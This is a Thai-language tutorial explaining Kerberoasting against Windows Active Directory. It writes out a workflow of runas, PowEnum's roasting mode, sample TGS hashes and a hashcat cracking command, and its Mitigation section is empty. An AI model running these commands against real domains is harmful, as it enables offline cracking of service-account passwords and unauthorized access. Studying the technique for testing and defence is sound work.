Kerberoasting เป็นเทคนิคหนึ่งในการโจมตี Kerberos มีเป้าหมายเพื่อ crack หา Password ของ target service บน Windows Domain Environment แบบ offline โดยที่เราไม่จำเป็นต้องไปแตะหรือ interface กับ target service หรือเครื่องเป้าหมายเลย เพียงแค่เราคุยกับ KDC เพื่อขอ TGS มาก็พอ ข้อดีคือเราสามารถทำการ crack ในลักษณะ offline ได้ ทำให้เราไม่ต้องกังวลว่าจะสร้าง noise ใด ๆ ให้เกิดขึ้นบน target ปลายทางหรือใน environment ไม่ว่าจะเป็นการสร้าง log หรือเผลอทำ account lock
คำว่า “target service” ถูกเรียกใช้เพื่อความง่าย ถ้าจะระบุอย่างเฉพาะเจาะจงแล้วต้องหมายถึง AD(Active Directory) object ใด ๆ เช่นเป็น service account, user account หรือ computer object ก็ได้ ที่มี SPN(Service Principal Name) ผูกไว้อยู่เพื่อจะได้รู้ว่า service นั้น ๆ ถูก run ภายใต้ account อะไร เทคนิค Kerberoasting จึงมุ่งหมายโจมตีไปยัง password ของ SPN ซึ่งจะผูกกับ account ใน AD นั่นเอง
การโจมตีไปยัง account ที่มี SPN สร้างข้อได้เปรียบอย่างหนึ่งก็คือ password ที่ใช้มักจะไม่ได้เปลี่ยนบ่อยเนื่องจากมันเป็น service และให้เลือก SPN ที่เป็น user account อย่าไปใช้ computer account เพราะ password จะซับซ้อนกว่า
อารัมภบทมาพอสมควรแล้ว คราวนี้มาลองดูสิ่งที่เกิดขึ้นจากผ่าน Authentication flow ของ Kerberos กันบ้าง หากทำ TGS Request แบบปกติสิ่งที่ตอบกลับมาจะเป็น TGS ในรูปแบบของ
enc([username,service_session_key,TGS period,PAC],target_key)
ซึ่ง TGS นั้นมีแต่ target service ที่จะสามารถแงะออกมาได้ หากเราได้ TGS มาย่อมมีความเป็นไปได้ที่จะหา target_key ได้เช่นกัน และถ้าหากทำสำเร็จสิ่งที่ได้ก็คือ password ของ SPN ที่เรากำลังสนใจนั่นเอง
Attack Methods
สำหรับกรณี Kerberoasting attack ผู้เขียนเองชอบใช้ PowEnum ที่มี option ในการ run kerberoasting ด้วย ( PowEnum เป็น PowerShell Script ที่เรียกใช้ function ของ Powerview มีไว้เพื่อทำการ enumerate ข้อมูลจาก Active Directory ใช้งานสะดวกเพราะ run เพียง 1 คำสั่งก็จะได้ข้อมูลที่สามารถดึงได้จาก AD อยู่หลายอย่างทั้ง Users, Group, AdminCount, DNS Record หรือ File Servers สามารถไปดูรายละเอียดการใช้งานได้จาก https://github.com/whitehat-zero/PowEnum
การทำ Kerberoasting attack นั้นจำเป็นที่จะต้องได้ TGT ก่อน นั่นหมายความว่าต้องมี domain user account เรียบร้อยแล้วถึงจะโจมตีได้ สำหรับ PowEnum สามารถเริ่มต้นใช้งานได้จากเครื่องที่ไม่ได้ join domain โดย run คำสั่งจาก cmd ดังนี้
> runas /netonly /user:demodomain\dorothy powershell Enter the password for demodomain\dorothy: Attempting to start powershell as user “demodomain\dorothy” … |
หลังจาก PowerShell console แสดงผลแล้วให้เรียกใช้ PowEnum
> Import-Module .\PowEnum.ps1 > Invoke-PowEnum -NoExcel -Mode Roasting -FQDN demodomain.local |
ให้เปิด output file จะพบค่า TGS ของ SPN ที่หามาได้
$krb5tgs$23$*svcsytem1$demodomain.local$MSSQLSvc/system7.demodomain. local:1433*$6E18FA25B… (stripped) $krb5tgs$23$*svcadmin$demodomain.local$MSSQLSvc/system8.demodomain.l ocal:2138*$5798BE…(stripped) |
ลำดับถัดไปให้ทำ offline crack ด้วย hashcat ตาม style, dictionary และเทคนิคตามสะดวก
> hashcat64 -r ..\hob064.rule.txt -m 13100 ..\kerb_tgs.txt ..\rockyou.txt -o cracked.txt — force |
Mitigation
Reference